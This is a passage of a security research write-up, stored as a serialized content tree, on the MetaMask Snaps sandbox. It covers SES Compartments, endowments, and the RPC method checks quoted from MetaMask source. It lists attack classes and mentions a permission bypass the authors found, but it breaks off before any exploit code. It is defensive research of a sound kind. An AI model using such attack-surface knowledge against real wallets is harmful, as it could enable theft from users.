snapId",{"type":23,"tag":230,"props":2404,"children":2405},{"style":274},[2406],{"type":29,"value":388},{"type":23,"tag":230,"props":2408,"children":2409},{"class":232,"line":334},[2410,2415],{"type":23,"tag":230,"props":2411,"children":2412},{"style":262},[2413],{"type":29,"value":2414},"    _endowments",{"type":23,"tag":230,"props":2416,"children":2417},{"style":274},[2418],{"type":29,"value":388},{"type":23,"tag":230,"props":2420,"children":2421},{"class":232,"line":371},[2422],{"type":23,"tag":230,"props":2423,"children":2424},{"style":274},[2425],{"type":29,"value":753},{"type":23,"tag":32,"props":2427,"children":2428},{},[2429],{"type":29,"value":2430},"In the snap development, the required permissions need to be specified in a snap manifest file. Some of these permissions expose extra functions as endowments in the Compartment.",{"type":23,"tag":32,"props":2432,"children":2433},{},[2434,2436,2442,2444,2450],{"type":29,"value":2435},"One clear example is the ",{"type":23,"tag":71,"props":2437,"children":2439},{"className":2438},[],[2440],{"type":29,"value":2441},"endowment:network-access",{"type":29,"value":2443}," permission, that adds the ",{"type":23,"tag":71,"props":2445,"children":2447},{"className":2446},[],[2448],{"type":29,"value":2449},"fetch()",{"type":29,"value":2451}," function to the endowments.",{"type":23,"tag":32,"props":2453,"children":2454},{},[2455,2457,2463],{"type":29,"value":2456},"All endowments are protected with the ",{"type":23,"tag":71,"props":2458,"children":2460},{"className":2459},[],[2461],{"type":29,"value":2462},"harden",{"type":29,"value":2464}," function to prevent possible exploits derived from the endowment modification, with two exceptions.",{"type":23,"tag":144,"props":2466,"children":2467},{"start":243},[2468],{"type":23,"tag":102,"props":2469,"children":2470},{},[2471],{"type":23,"tag":2302,"props":2472,"children":2473},{},[2474,2476],{"type":29,"value":2475},"Create the snap ",{"type":23,"tag":181,"props":2477,"children":2480},{"href":2478,"rel":2479},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L345",[185],[2481],{"type":29,"value":2080},{"type":23,"tag":220,"props":2483,"children":2485},{"className":222,"code":2484,"language":224,"meta":7,"style":7},"const compartment = new Compartment({\n    ...endowments,\n    module: snapModule,\n    exports: snapModule.exports,\n});\n",[2486],{"type":23,"tag":71,"props":2487,"children":2488},{"__ignoreMap":7},[2489,2517,2533,2550,2575],{"type":23,"tag":230,"props":2490,"children":2491},{"class":232,"line":233},[2492,2496,2501,2505,2509,2513],{"type":23,"tag":230,"props":2493,"children":2494},{"style":256},[2495],{"type":29,"value":259},{"type":23,"tag":230,"props":2497,"children":2498},{"style":262},[2499],{"type":29,"value":2500}," compartment",{"type":23,"tag":230,"props":2502,"children":2503},{"style":268},[2504],{"type":29,"value":271},{"type":23,"tag":230,"props":2506,"children":2507},{"style":256},[2508],{"type":29,"value":291},{"type":23,"tag":230,"props":2510,"children":2511},{"style":294},[2512],{"type":29,"value":2135},{"type":23,"tag":230,"props":2514,"children":2515},{"style":274},[2516],{"type":29,"value":368},{"type":23,"tag":230,"props":2518,"children":2519},{"class":232,"line":243},[2520,2525,2529],{"type":23,"tag":230,"props":2521,"children":2522},{"style":268},[2523],{"type":29,"value":2524},"    ...",{"type":23,"tag":230,"props":2526,"children":2527},{"style":262},[2528],{"type":29,"value":2248},{"type":23,"tag":230,"props":2530,"children":2531},{"style":274},[2532],{"type":29,"value":388},{"type":23,"tag":230,"props":2534,"children":2535},{"class":232,"line":252},[2536,2541,2546],{"type":23,"tag":230,"props":2537,"children":2538},{"style":262},[2539],{"type":29,"value":2540},"    module:",{"type":23,"tag":230,"props":2542,"children":2543},{"style":262},[2544],{"type":29,"value":2545}," snapModule",{"type":23,"tag":230,"props":2547,"children":2548},{"style":274},[2549],{"type":29,"value":388},{"type":23,"tag":230,"props":2551,"children":2552},{"class":232,"line":280},[2553,2558,2562,2566,2571],{"type":23,"tag":230,"props":2554,"children":2555},{"style":262},[2556],{"type":29,"value":2557},"    exports:",{"type":23,"tag":230,"props":2559,"children":2560},{"style":262},[2561],{"type":29,"value":2545},{"type":23,"tag":230,"props":2563,"children":2564},{"style":274},[2565],{"type":29,"value":312},{"type":23,"tag":230,"props":2567,"children":2568},{"style":262},[2569],{"type":29,"value":2570},"exports",{"type":23,"tag":230,"props":2572,"children":2573},{"style":274},[2574],{"type":29,"value":388},{"type":23,"tag":230,"props":2576,"children":2577},{"class":232,"line":334},[2578],{"type":23,"tag":230,"props":2579,"children":2580},{"style":274},[2581],{"type":29,"value":2582},"});\n",{"type":23,"tag":32,"props":2584,"children":2585},{},[2586,2588,2594,2595,2600,2602,2607],{"type":29,"value":2587},"Note: ",{"type":23,"tag":71,"props":2589,"children":2591},{"className":2590},[],[2592],{"type":29,"value":2593},"module",{"type":29,"value":112},{"type":23,"tag":71,"props":2596,"children":2598},{"className":2597},[],[2599],{"type":29,"value":2570},{"type":29,"value":2601}," are passed as endowments, but without being ",{"type":23,"tag":2258,"props":2603,"children":2604},{},[2605],{"type":29,"value":2606},"hardened",{"type":29,"value":2608},". This is intentional, as the snap needs to export functions to be correctly executed.",{"type":23,"tag":144,"props":2610,"children":2611},{"start":252},[2612],{"type":23,"tag":102,"props":2613,"children":2614},{},[2615],{"type":23,"tag":2302,"props":2616,"children":2617},{},[2618,2620],{"type":29,"value":2619},"Evaluate the snap code inside the ",{"type":23,"tag":181,"props":2621,"children":2624},{"href":2622,"rel":2623},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L359",[185],[2625],{"type":29,"value":2080},{"type":23,"tag":220,"props":2627,"children":2629},{"className":222,"code":2628,"language":224,"meta":7,"style":7},"await this.executeInSnapContext(snapId, () => {\n    compartment.evaluate(sourceCode);\n    this.registerSnapExports(snapId, snapModule);\n});\n",[2630],{"type":23,"tag":71,"props":2631,"children":2632},{"__ignoreMap":7},[2633,2676,2706,2743],{"type":23,"tag":230,"props":2634,"children":2635},{"class":232,"line":233},[2636,2641,2645,2649,2654,2658,2662,2667,2672],{"type":23,"tag":230,"props":2637,"children":2638},{"style":866},[2639],{"type":29,"value":2640},"await",{"type":23,"tag":230,"props":2642,"children":2643},{"style":256},[2644],{"type":29,"value":345},{"type":23,"tag":230,"props":2646,"children":2647},{"style":274},[2648],{"type":29,"value":312},{"type":23,"tag":230,"props":2650,"children":2651},{"style":294},[2652],{"type":29,"value":2653},"executeInSnapContext",{"type":23,"tag":230,"props":2655,"children":2656},{"style":274},[2657],{"type":29,"value":302},{"type":23,"tag":230,"props":2659,"children":2660},{"style":262},[2661],{"type":29,"value":669},{"type":23,"tag":230,"props":2663,"children":2664},{"style":274},[2665],{"type":29,"value":2666},", () ",{"type":23,"tag":230,"props":2668,"children":2669},{"style":256},[2670],{"type":29,"value":2671},"=>",{"type":23,"tag":230,"props":2673,"children":2674},{"style":274},[2675],{"type":29,"value":277},{"type":23,"tag":230,"props":2677,"children":2678},{"class":232,"line":243},[2679,2684,2688,2693,2697,2702],{"type":23,"tag":230,"props":2680,"children":2681},{"style":262},[2682],{"type":29,"value":2683},"    compartment",{"type":23,"tag":230,"props":2685,"children":2686},{"style":274},[2687],{"type":29,"value":312},{"type":23,"tag":230,"props":2689,"children":2690},{"style":294},[2691],{"type":29,"value":2692},"evaluate",{"type":23,"tag":230,"props":2694,"children":2695},{"style":274},[2696],{"type":29,"value":302},{"type":23,"tag":230,"props":2698,"children":2699},{"style":262},[2700],{"type":29,"value":2701},"sourceCode",{"type":23,"tag":230,"props":2703,"children":2704},{"style":274},[2705],{"type":29,"value":753},{"type":23,"tag":230,"props":2707,"children":2708},{"class":232,"line":252},[2709,2713,2717,2722,2726,2730,2734,2739],{"type":23,"tag":230,"props":2710,"children":2711},{"style":256},[2712],{"type":29,"value":716},{"type":23,"tag":230,"props":2714,"children":2715},{"style":274},[2716],{"type":29,"value":312},{"type":23,"tag":230,"props":2718,"children":2719},{"style":294},[2720],{"type":29,"value":2721},"registerSnapExports",{"type":23,"tag":230,"props":2723,"children":2724},{"style":274},[2725],{"type":29,"value":302},{"type":23,"tag":230,"props":2727,"children":2728},{"style":262},[2729],{"type":29,"value":669},{"type":23,"tag":230,"props":2731,"children":2732},{"style":274},[2733],{"type":29,"value":684},{"type":23,"tag":230,"props":2735,"children":2736},{"style":262},[2737],{"type":29,"value":2738},"snapModule",{"type":23,"tag":230,"props":2740,"children":2741},{"style":274},[2742],{"type":29,"value":753},{"type":23,"tag":230,"props":2744,"children":2745},{"class":232,"line":280},[2746],{"type":23,"tag":230,"props":2747,"children":2748},{"style":274},[2749],{"type":29,"value":2582},{"type":23,"tag":32,"props":2751,"children":2752},{},[2753,2755,2761,2762,2768,2770,2776],{"type":29,"value":2754},"According to the documentation, the snap must contain one of the following function exports: ",{"type":23,"tag":71,"props":2756,"children":2758},{"className":2757},[],[2759],{"type":29,"value":2760},"onRpcRequest",{"type":29,"value":684},{"type":23,"tag":71,"props":2763,"children":2765},{"className":2764},[],[2766],{"type":29,"value":2767},"onTransaction",{"type":29,"value":2769}," or ",{"type":23,"tag":71,"props":2771,"children":2773},{"className":2772},[],[2774],{"type":29,"value":2775},"onCronjob",{"type":29,"value":312},{"type":23,"tag":32,"props":2778,"children":2779},{},[2780,2782,2787],{"type":29,"value":2781},"Once the Compartment creates these functions, no matter where they are executed, they will always be evaluated within the sandboxed ",{"type":23,"tag":71,"props":2783,"children":2785},{"className":2784},[],[2786],{"type":29,"value":2094},{"type":29,"value":2788}," environment of that Compartment.",{"type":23,"tag":32,"props":2790,"children":2791},{},[2792],{"type":29,"value":2793},"After the evaluation, the function exports are registered and executed later when the respective event is emmited.",{"type":23,"tag":24,"props":2795,"children":2797},{"id":2796},"vulnerability-research",[2798],{"type":29,"value":2799},"Vulnerability research",{"type":23,"tag":59,"props":2801,"children":2803},{"id":2802},"possible-attacks",[2804],{"type":29,"value":2805},"Possible attacks",{"type":23,"tag":32,"props":2807,"children":2808},{},[2809],{"type":29,"value":2810},"While searching for vulnerabilities in snap environments, we enumerated some features that can be broken, and lead to security issues, such as:",{"type":23,"tag":98,"props":2812,"children":2813},{},[2814,2819,2824,2829],{"type":23,"tag":102,"props":2815,"children":2816},{},[2817],{"type":29,"value":2818},"Broken SES Container isolation",{"type":23,"tag":102,"props":2820,"children":2821},{},[2822],{"type":29,"value":2823},"Insecure endowments in Containers",{"type":23,"tag":102,"props":2825,"children":2826},{},[2827],{"type":29,"value":2828},"Incorrect RPC permission checks",{"type":23,"tag":102,"props":2830,"children":2831},{},[2832],{"type":29,"value":2833},"Insecure snap installation/update",{"type":23,"tag":32,"props":2835,"children":2836},{},[2837],{"type":29,"value":2838},"We went through all of these vulnerabilities assumptions, and found a minor permission bypass bug using insecure endowments.",{"type":23,"tag":32,"props":2840,"children":2841},{},[2842],{"type":29,"value":2843},"To understand the exploit, we need to dig into the snap's RPC interfaces exposed via endowments.",{"type":23,"tag":59,"props":2845,"children":2847},{"id":2846},"rpc-interfaces-endowments",[2848],{"type":29,"value":2849},"RPC interfaces endowments",{"type":23,"tag":192,"props":2851,"children":2853},{"id":2852},"providers-limitations",[2854],{"type":29,"value":2855},"Providers limitations",{"type":23,"tag":32,"props":2857,"children":2858},{},[2859,2861,2867,2868,2874,2876,2883],{"type":29,"value":2860},"A snap has two interfaces that can be used to communicate with metamask RPC interface: ",{"type":23,"tag":71,"props":2862,"children":2864},{"className":2863},[],[2865],{"type":29,"value":2866},"snap",{"type":29,"value":112},{"type":23,"tag":71,"props":2869,"children":2871},{"className":2870},[],[2872],{"type":29,"value":2873},"ethereum",{"type":29,"value":2875}," (EIP-1193). These differ in that each one can only send a subset of the available RPC ",{"type":23,"tag":181,"props":2877,"children":2880},{"href":2878,"rel":2879},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/utils.ts#L130",[185],[2881],{"type":29,"value":2882},"methods",{"type":29,"value":218},{"type":23,"tag":220,"props":2885,"children":2887},{"className":222,"code":2886,"language":224,"meta":7,"style":7},"export function assertSnapOutboundRequest(args: RequestArguments) {\n  // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n  assert(\n    String.prototype.startsWith.call(args.method, 'wallet_') ||\n      String.prototype.startsWith.call(args.method, 'snap_'),\n    'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.',\n  );\n  assert(\n    !BLOCKED_RPC_METHODS.includes(args.method),\n    ethErrors.rpc.methodNotFound({\n      data: {\n        method: args.method,\n      },\n    }),\n  );\n  assertStruct(args, JsonStruct, 'Provided value is not JSON-RPC compatible');\n}\n",[2888],{"type":23,"tag":71,"props":2889,"children":2890},{"__ignoreMap":7},[2891,2931,2939,2951,3021,3082,3094,3102,3113,3155,3185,3197,3222,3229,3237,3244,3282],{"type":23,"tag":230,"props":2892,"children":2893},{"class":232,"line":233},[2894,2899,2904,2909,2913,2918,2922,2927],{"type":23,"tag":230,"props":2895,"children":2896},{"style":866},[2897],{"type":29,"value":2898},"export",{"type":23,"tag":230,"props":2900,"children":2901},{"style":256},[2902],{"type":29,"value":2903}," function",{"type":23,"tag":230,"props":2905,"children":2906},{"style":294},[2907],{"type":29,"value":2908}," assertSnapOutboundRequest",{"type":23,"tag":230,"props":2910,"children":2911},{"style":274},[2912],{"type":29,"value":302},{"type":23,"tag":230,"props":2914,"children":2915},{"style":262},[2916],{"type":29,"value":2917},"args",{"type":23,"tag":230,"props":2919,"children":2920},{"style":268},[2921],{"type":29,"value":218},{"type":23,"tag":230,"props":2923,"children":2924},{"style":676},[2925],{"type":29,"value":2926}," RequestArguments",{"type":23,"tag":230,"props":2928,"children":2929},{"style":274},[2930],{"type":29,"value":827},{"type":23,"tag":230,"props":2932,"children":2933},{"class":232,"line":243},[2934],{"type":23,"tag":230,"props":2935,"children":2936},{"style":237},[2937],{"type":29,"value":2938},"  // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n",{"type":23,"tag":230,"props":2940,"children":2941},{"class":232,"line":252},[2942,2947],{"type":23,"tag":230,"props":2943,"children":2944},{"style":294},[2945],{"type":29,"value":2946},"  assert",{"type":23,"tag":230,"props":2948,"children":2949},{"style":274},[2950],{"type":29,"value":619},{"type":23,"tag":230,"props":2952,"children":2953},{"class":232,"line":280},[2954,2959,2963,2968,2972,2977,2981,2986,2990,2994,2998,3003,3007,3012,3016],{"type":23,"tag":230,"props":2955,"children":2956},{"style":676},[2957],{"type":29,"value":2958},"    String",{"type":23,"tag":230,"props":2960,"children":2961},{"style":274},[2962],{"type":29,"value":312},{"type":23,"tag":230,"props":2964,"children":2965},{"style":262},[2966],{"type":29,"value":2967},"prototype",{"type":23,"tag":230,"props":2969,"children":2970},{"style":274},[2971],{"type":29,"value":312},{"type":23,"tag":230,"props":2973,"children":2974},{"style":262},[2975],{"type":29,"value":2976},"startsWith",{"type":23,"tag":230,"props":2978,"children":2979},{"style":274},[2980],{"type":29,"value":312},{"type":23,"tag":230,"props":2982,"children":2983},{"style":294},[2984],{"type":29,"value":2985},"call",{"type":23,"tag":230,"props":2987,"children":2988},{"style":274},[2989],{"type":29,"value":302},{"type":23,"tag":230,"props":2991,"children":2992},{"style":262},[2993],{"type":29,"value":2917},{"type":23,"tag":230,"props":2995,"children":2996},{"style":274},[2997],{"type":29,"value":312},{"type":23,"tag":230,"props":2999,"children":3000},{"style":262},[3001],{"type":29,"value":3002},"method",{"type":23,"tag":230,"props":3004,"children":3005},{"style":274},[3006],{"type":29,"value":684},{"type":23,"tag":230,"props":3008,"children":3009},{"style":380},[3010],{"type":29,"value":3011},"'wallet_'",{"type":23,"tag":230,"props":3013,"children":3014},{"style":274},[3015],{"type":29,"value":703},{"type":23,"tag":230,"props":3017,"children":3018},{"style":268},[3019],{"type":29,"value":3020},"||\n",{"type":23,"tag":230,"props":3022,"children":3023},{"class":232,"line":334},[3024,3029,3033,3037,3041,3045,3049,3053,3057,3061,3065,3069,3073,3078],{"type":23,"tag":230,"props":3025,"children":3026},{"style":676},[3027],{"type":29,"value":3028},"      String",{"type":23,"tag":230,"props":3030,"children":3031},{"style":274},[3032],{"type":29,"value":312},{"type":23,"tag":230,"props":3034,"children":3035},{"style":262},[3036],{"type":29,"value":2967},{"type":23,"tag":230,"props":3038,"children":3039},{"style":274},[3040],{"type":29,"value":312},{"type":23,"tag":230,"props":3042,"children":3043},{"style":262},[3044],{"type":29,"value":2976},{"type":23,"tag":230,"props":3046,"children":3047},{"style":274},[3048],{"type":29,"value":312},{"type":23,"tag":230,"props":3050,"children":3051},{"style":294},[3052],{"type":29,"value":2985},{"type":23,"tag":230,"props":3054,"children":3055},{"style":274},[3056],{"type":29,"value":302},{"type":23,"tag":230,"props":3058,"children":3059},{"style":262},[3060],{"type":29,"value":2917},{"type":23,"tag":230,"props":3062,"children":3063},{"style":274},[3064],{"type":29,"value":312},{"type":23,"tag":230,"props":3066,"children":3067},{"style":262},[3068],{"type":29,"value":3002},{"type":23,"tag":230,"props":3070,"children":3071},{"style":274},[3072],{"type":29,"value":684},{"type":23,"tag":230,"props":3074,"children":3075},{"style":380},[3076],{"type":29,"value":3077},"'snap_'",{"type":23,"tag":230,"props":3079,"children":3080},{"style":274},[3081],{"type":29,"value":331},{"type":23,"tag":230,"props":3083,"children":3084},{"class":232,"line":371},[3085,3090],{"type":23,"tag":230,"props":3086,"children":3087},{"style":380},[3088],{"type":29,"value":3089},"    'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.'",{"type":23,"tag":230,"props":3091,"children":3092},{"style":274},[3093],{"type":29,"value":388},{"type":23,"tag":230,"props":3095,"children":3096},{"class":232,"line":391},[3097],{"type":23,"tag":230,"props":3098,"children":3099},{"style":274},[3100],{"type":29,"value":3101},"  );\n",{"type":23,"tag":230,"props":3103,"children":3104},{"class":232,"line":400},[3105,3109],{"type":23,"tag":230,"props":3106,"children":3107},{"style":294},[3108],{"type":29,"value":2946},{"type":23,"tag":230,"props":3110,"children":3111},{"style":274},[3112],{"type":29,"value":619},{"type":23,"tag":230,"props":3114,"children":3115},{"class":232,"line":444},[3116,3121,3126,3130,3135,3139,3143,3147,3151],{"type":23,"tag":230,"props":3117,"children":3118},{"style":268},[3119],{"type":29,"value":3120},"    !",{"type":23,"tag":230,"props":3122,"children":3123},{"style":262},[3124],{"type":29,"value":3125},"BLOCKED_RPC_METHODS",{"type":23,"tag":230,"props":3127,"children":3128},{"style":274},[3129],{"type":29,"value":312},{"type":23,"tag":230,"props":3131,"children":3132},{"style":294},[3133],{"type":29,"value":3134},"includes",{"type":23,"tag":230,"props":3136,"children":3137},{"style":274},[3138],{"type":29,"value":302},{"type":23,"tag":230,"props":3140,"children":3141},{"style":262},[3142],{"type":29,"value":2917},{"type":23,"tag":230,"props":3144,"children":3145},{"style":274},[3146],{"type":29,"value":312},{"type":23,"tag":230,"props":3148,"children":3149},{"style":262},[3150],{"type":29,"value":3002},{"type":23,"tag":230,"props":3152,"children":3153},{"style":274},[3154],{"type":29,"value":331},{"type":23,"tag":230,"props":3156,"children":3157},{"class":232,"line":453},[3158,3163,3167,3172,3176,3181],{"type":23,"tag":230,"props":3159,"children":3160},{"style":262},[3161],{"type":29,"value":3162},"    ethErrors",{"type":23,"tag":230,"props":3164,"children":3165},{"style":274},[3166],{"type":29,"value":312},{"type":23,"tag":230,"props":3168,"children":3169},{"style":262},[3170],{"type":29,"value":3171},"rpc",{"type":23,"tag":230,"props":3173,"children":3174},{"style":274},[3175],{"type":29,"value":312},{"type":23,"tag":230,"props":3177,"children":3178},{"style":294},[3179],{"type":29,"value":3180},"methodNotFound",{"type":23,"tag":230,"props":3182,"children":3183},{"style":274},[3184],{"type":29,"value":368},{"type":23,"tag":230,"props":3186,"children":3187},{"class":232,"line":462},[3188,3193],{"type":23,"tag":230,"props":3189,"children":3190},{"style":262},[3191],{"type":29,"value":3192},"      data:",{"type":23,"tag":230,"props":3194,"children":3195},{"style":274},[3196],{"type":29,"value":277},{"type":23,"tag":230,"props":3198,"children":3199},{"class":232,"line":471},[3200,3205,3210,3214,3218],{"type":23,"tag":230,"props":3201,"children":3202},{"style":262},[3203],{"type":29,"value":3204},"        method:",{"type":23,"tag":230,"props":3206,"children":3207},{"style":262},[3208],{"type":29,"value":3209}," args",{"type":23,"tag":230,"props":3211,"children":3212},{"style":274},[3213],{"type":29,"value":312},{"type":23,"tag":230,"props":3215,"children":3216},{"style":262},[3217],{"type":29,"value":3002},{"type":23,"tag":230,"props":3219,"children":3220},{"style":274},[3221],{"type":29,"value":388},{"type":23,"tag":230,"props":3223,"children":3224},{"class":232,"line":500},[3225],{"type":23,"tag":230,"props":3226,"children":3227},{"style":274},[3228],{"type":29,"value":1875},{"type":23,"tag":230,"props":3230,"children":3231},{"class":232,"line":514},[3232],{"type":23,"tag":230,"props":3233,"children":3234},{"style":274},[3235],{"type":29,"value":3236},"    }),\n",{"type":23,"tag":230,"props":3238,"children":3239},{"class":232,"line":897},[3240],{"type":23,"tag":230,"props":3241,"children":3242},{"style":274},[3243],{"type":29,"value":3101},{"type":23,"tag":230,"props":3245,"children":3246},{"class":232,"line":960},[3247,3252,3256,3260,3264,3269,3273,3278],{"type":23,"tag":230,"props":3248,"children":3249},{"style":294},[3250],{"type":29,"value":3251},"  assertStruct",{"type":23,"tag":230,"props":3253,"children":3254},{"style":274},[3255],{"type":29,"value":302},{"type":23,"tag":230,"props":3257,"children":3258},{"style":262},[3259],{"type":29,"value":2917},{"type":23,"tag":230,"props":3261,"children":3262},{"style":274},[3263],{"type":29,"value":684},{"type":23,"tag":230,"props":3265,"children":3266},{"style":262},[3267],{"type":29,"value":3268},"JsonStruct",{"type":23,"tag":230,"props":3270,"children":3271},{"style":274},[3272],{"type":29,"value":684},{"type":23,"tag":230,"props":3274,"children":3275},{"style":380},[3276],{"type":29,"value":3277},"'Provided value is not JSON-RPC compatible'",{"type":23,"tag":230,"props":3279,"children":3280},{"style":274},[3281],{"type":29,"value":753},{"type":23,"tag":230,"props":3283,"children":3284},{"class":232,"line":969},[3285],{"type":23,"tag":230,"props":3286,"children":3287},{"style":274},[3288],{"type":29,"value":975},{"type":23,"tag":32,"props":3290,"children":3291},{},[3292,3294,3299,3301,3307,3308,3314],{"type":29,"value":3293},"This function is called by the ",{"type":23,"tag":71,"props":3295,"children":3297},{"className":3296},[],[3298],{"type":29,"value":2866},{"type":29,"value":3300}," RPC provider, so it can only send methods starting with ",{"type":23,"tag":71,"props":3302,"children":3304},{"className":3303},[],[3305],{"type":29,"value":3306},"wallet_",{"type":29,"value":2769},{"type":23,"tag":71,"props":3309,"children":3311},{"className":3310},[],[3312],{"type":29,"value":3313},"snap_",{"type":29,"value":3315},". In addition, there are some blocked RPC methods that immediately throw an error when encountered.",{"type":23,"tag":32,"props":3317,"children":3318},{},[3319,3321,3326,3328,3333,3335,3341],{"type":29,"value":3320},"On the other hand, the ",{"type":23,"tag":71,"props":3322,"children":3324},{"className":3323},[],[3325],{"type":29,"value":2873},{"type":29,"value":3327}," provider only blocks methods starting with ",{"type":23,"tag":71,"props":3329,"children":3331},{"className":3330},[],[3332],{"type":29,"value":3313},{"type":29,"value":3334}," and the blocked methods. However, it requires the ",{"type":23,"tag":71,"props":3336,"children":3338},{"className":3337},[],[3339],{"type":29,"value":3340},"endowment:ethereum-provider",{"type":29,"value":3342}," permission in the snap manifest.",{"type":23,"tag":192,"props":3344,"children":3346},{"id":3345},"execution-flow",[3347],{"type":29,"value":3348},"Execution flow",{"type":23,"tag":32,"props":3350,"children":3351},{},[3352,3354,3359,3360,3365,3367,3373,3375,3382],{"type":29,"value":3353},"Both providers (",{"type":23,"tag":71,"props":3355,"children":3357},{"className":3356},[],[3358],{"type":29,"value":2866},{"type":29,"value":112},{"type":23,"tag":71,"props":3361,"children":3363},{"className":3362},[],[3364],{"type":29,"value":2873},{"type":29,"value":3366},") are built outside the SES container with a ",{"type":23,"tag":71,"props":3368,"children":3370},{"className":3369},[],[3371],{"type":29,"value":3372},"request",{"type":29,"value":3374}," ",{"type":23,"tag":181,"props":3376,"children":3379},{"href":3377,"rel":3378},"https://github.com/MetaMask/snaps/blob/main/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L437",[185],[3380],{"type":29,"value":3381},"function",{"type":29,"value":218},{"type":23,"tag":220,"props":3384,"children":3386},{"className":575,"code":3385,"language":577,"meta":7,"style":7},"  const request = async (args: RequestArguments) => {\n      assertSnapOutboundRequest(args); // or assertEthereumOutboundRequest(args);\n      const sanitizedArgs = getSafeJson(args);\n      this.notify({ method: 'OutboundRequest' });\n      try {\n        return await withTeardown(\n          originalRequest(sanitizedArgs as unknown as RequestArguments),\n          this as any,\n        );\n      } finally {\n        this.notify({ method: 'OutboundResponse' });\n      }\n    };\n",[3387],{"type":23,"tag":71,"props":3388,"children":3389},{"__ignoreMap":7},[3390,3438,3464,3498,3535,3547,3568,3607,3628,3636,3653,3686,3693],{"type":23,"tag":230,"props":3391,"children":3392},{"class":232,"line":233},[3393,3397,3402,3406,3410,3414,3418,3422,3426,3430,3434],{"type":23,"tag":230,"props":3394,"children":3395},{"style":256},[3396],{"type":29,"value":843},{"type":23,"tag":230,"props":3398,"children":3399},{"style":294},[3400],{"type":29,"value":3401}," request",{"type":23,"tag":230,"props":3403,"children":3404},{"style":268},[3405],{"type":29,"value":271},{"type":23,"tag":230,"props":3407,"children":3408},{"style":256},[3409],{"type":29,"value":1028},{"type":23,"tag":230,"props":3411,"children":3412},{"style":274},[3413],{"type":29,"value":664},{"type":23,"tag":230,"props":3415,"children":3416},{"style":262},[3417],{"type":29,"value":2917},{"type":23,"tag":230,"props":3419,"children":3420},{"style":268},[3421],{"type":29,"value":218},{"type":23,"tag":230,"props":3423,"children":3424},{"style":676},[3425],{"type":29,"value":2926},{"type":23,"tag":230,"props":3427,"children":3428},{"style":274},[3429],{"type":29,"value":703},{"type":23,"tag":230,"props":3431,"children":3432},{"style":256},[3433],{"type":29,"value":2671},{"type":23,"tag":230,"props":3435,"children":3436},{"style":274},[3437],{"type":29,"value":277},{"type":23,"tag":230,"props":3439,"children":3440},{"class":232,"line":243},[3441,3446,3450,3454,3459],{"type":23,"tag":230,"props":3442,"children":3443},{"style":294},[3444],{"type":29,"value":3445},"      assertSnapOutboundRequest",{"type":23,"tag":230,"props":3447,"children":3448},{"style":274},[3449],{"type":29,"value":302},{"type":23,"tag":230,"props":3451,"children":3452},{"style":262},[3453],{"type":29,"value":2917},{"type":23,"tag":230,"props":3455,"children":3456},{"style":274},[3457],{"type":29,"value":3458},"); ",{"type":23,"tag":230,"props":3460,"children":3461},{"style":237},[3462],{"type":29,"value":3463},"// or assertEthereumOutboundRequest(args);\n",{"type":23,"tag":230,"props":3465,"children":3466},{"class":232,"line":252},[3467,3472,3477,3481,3486,3490,3494],{"type":23,"tag":230,"props":3468,"children":3469},{"style":256},[3470],{"type":29,"value":3471},"      const",{"type":23,"tag":230,"props":3473,"children":3474},{"style":262},[3475],{"type":29,"value":3476}," sanitizedArgs",{"type":23,"tag":230,"props":3478,"children":3479},{"style":268},[3480],{"type":29,"value":271},{"type":23,"tag":230,"props":3482,"children":3483},{"style":294},[3484],{"type":29,"value":3485}," getSafeJson",{"type":23,"tag":230,"props":3487,"children":3488},{"style":274},[3489],{"type":29,"value":302},{"type":23,"tag":230,"props":3491,"children":3492},{"style":262},[3493],{"type":29,"value":2917},{"type":23,"tag":230,"props":3495,"children":3496},{"style":274},[3497],{"type":29,"value":753},{"type":23,"tag":230,"props":3499,"children":3500},{"class":232,"line":280},[3501,3506,3510,3515,3520,3525,3530],{"type":23,"tag":230,"props":3502,"children":3503},{"style":256},[3504],{"type":29,"value":3505},"      this",{"type":23,"tag":230,"props":3507,"children":3508},{"style":274},[3509],{"type":29,"value":312},{"type":23,"tag":230,"props":3511,"children":3512},{"style":294},[3513],{"type":29,"value":3514},"notify",{"type":23,"tag":230,"props":3516,"children":3517},{"style":274},[3518],{"type":29,"value":3519},"({ ",{"type":23,"tag":230,"props":3521,"children":3522},{"style":262},[3523],{"type":29,"value":3524},"method:",{"type":23,"tag":230,"props":3526,"children":3527},{"style":380},[3528],{"type":29,"value":3529}," 'OutboundRequest'",{"type":23,"tag":230,"props":3531,"children":3532},{"style":274},[3533],{"type":29,"value":3534}," });\n",{"type":23,"tag":230,"props":3536,"children":3537},{"class":232,"line":334},[3538,3543],{"type":23,"tag":230,"props":3539,"children":3540},{"style":866},[3541],{"type":29,"value":3542},"      try",{"type":23,"tag":230,"props":3544,"children":3545},{"style":274},[3546],{"type":29,"value":277},{"type":23,"tag":230,"props":3548,"children":3549},{"class":232,"line":371},[3550,3555,3559,3564],{"type":23,"tag":230,"props":3551,"children":3552},{"style":866},[3553],{"type":29,"value":3554},"        return",{"type":23,"tag":230,"props":3556,"children":3557},{"style":866},[3558],{"type":29,"value":869},{"type":23,"tag":230,"props":3560,"children":3561},{"style":294},[3562],{"type":29,"value":3563}," withTeardown",{"type":23,"tag":230,"props":3565,"children":3566},{"style":274},[3567],{"type":29,"value":619},{"type":23,"tag":230,"props":3569,"children":3570},{"class":232,"line":391},[3571,3576,3580,3585,3590,3595,3599,3603],{"type":23,"tag":230,"props":3572,"children":3573},{"style":294},[3574],{"type":29,"value":3575},"          originalRequest",{"type":23,"tag":230,"props":3577,"children":3578},{"style":274},[3579],{"type":29,"value":302},{"type":23,"tag":230,"props":3581,"children":3582},{"style":262},[3583],{"type":29,"value":3584},"sanitizedArgs",{"type":23,"tag":230,"props":3586,"children":3587},{"style":866},[3588],{"type":29,"value":3589}," as",{"type":23,"tag":230,"props":3591,"children":3592},{"style":676},[3593],{"type":29,"value":3594}," 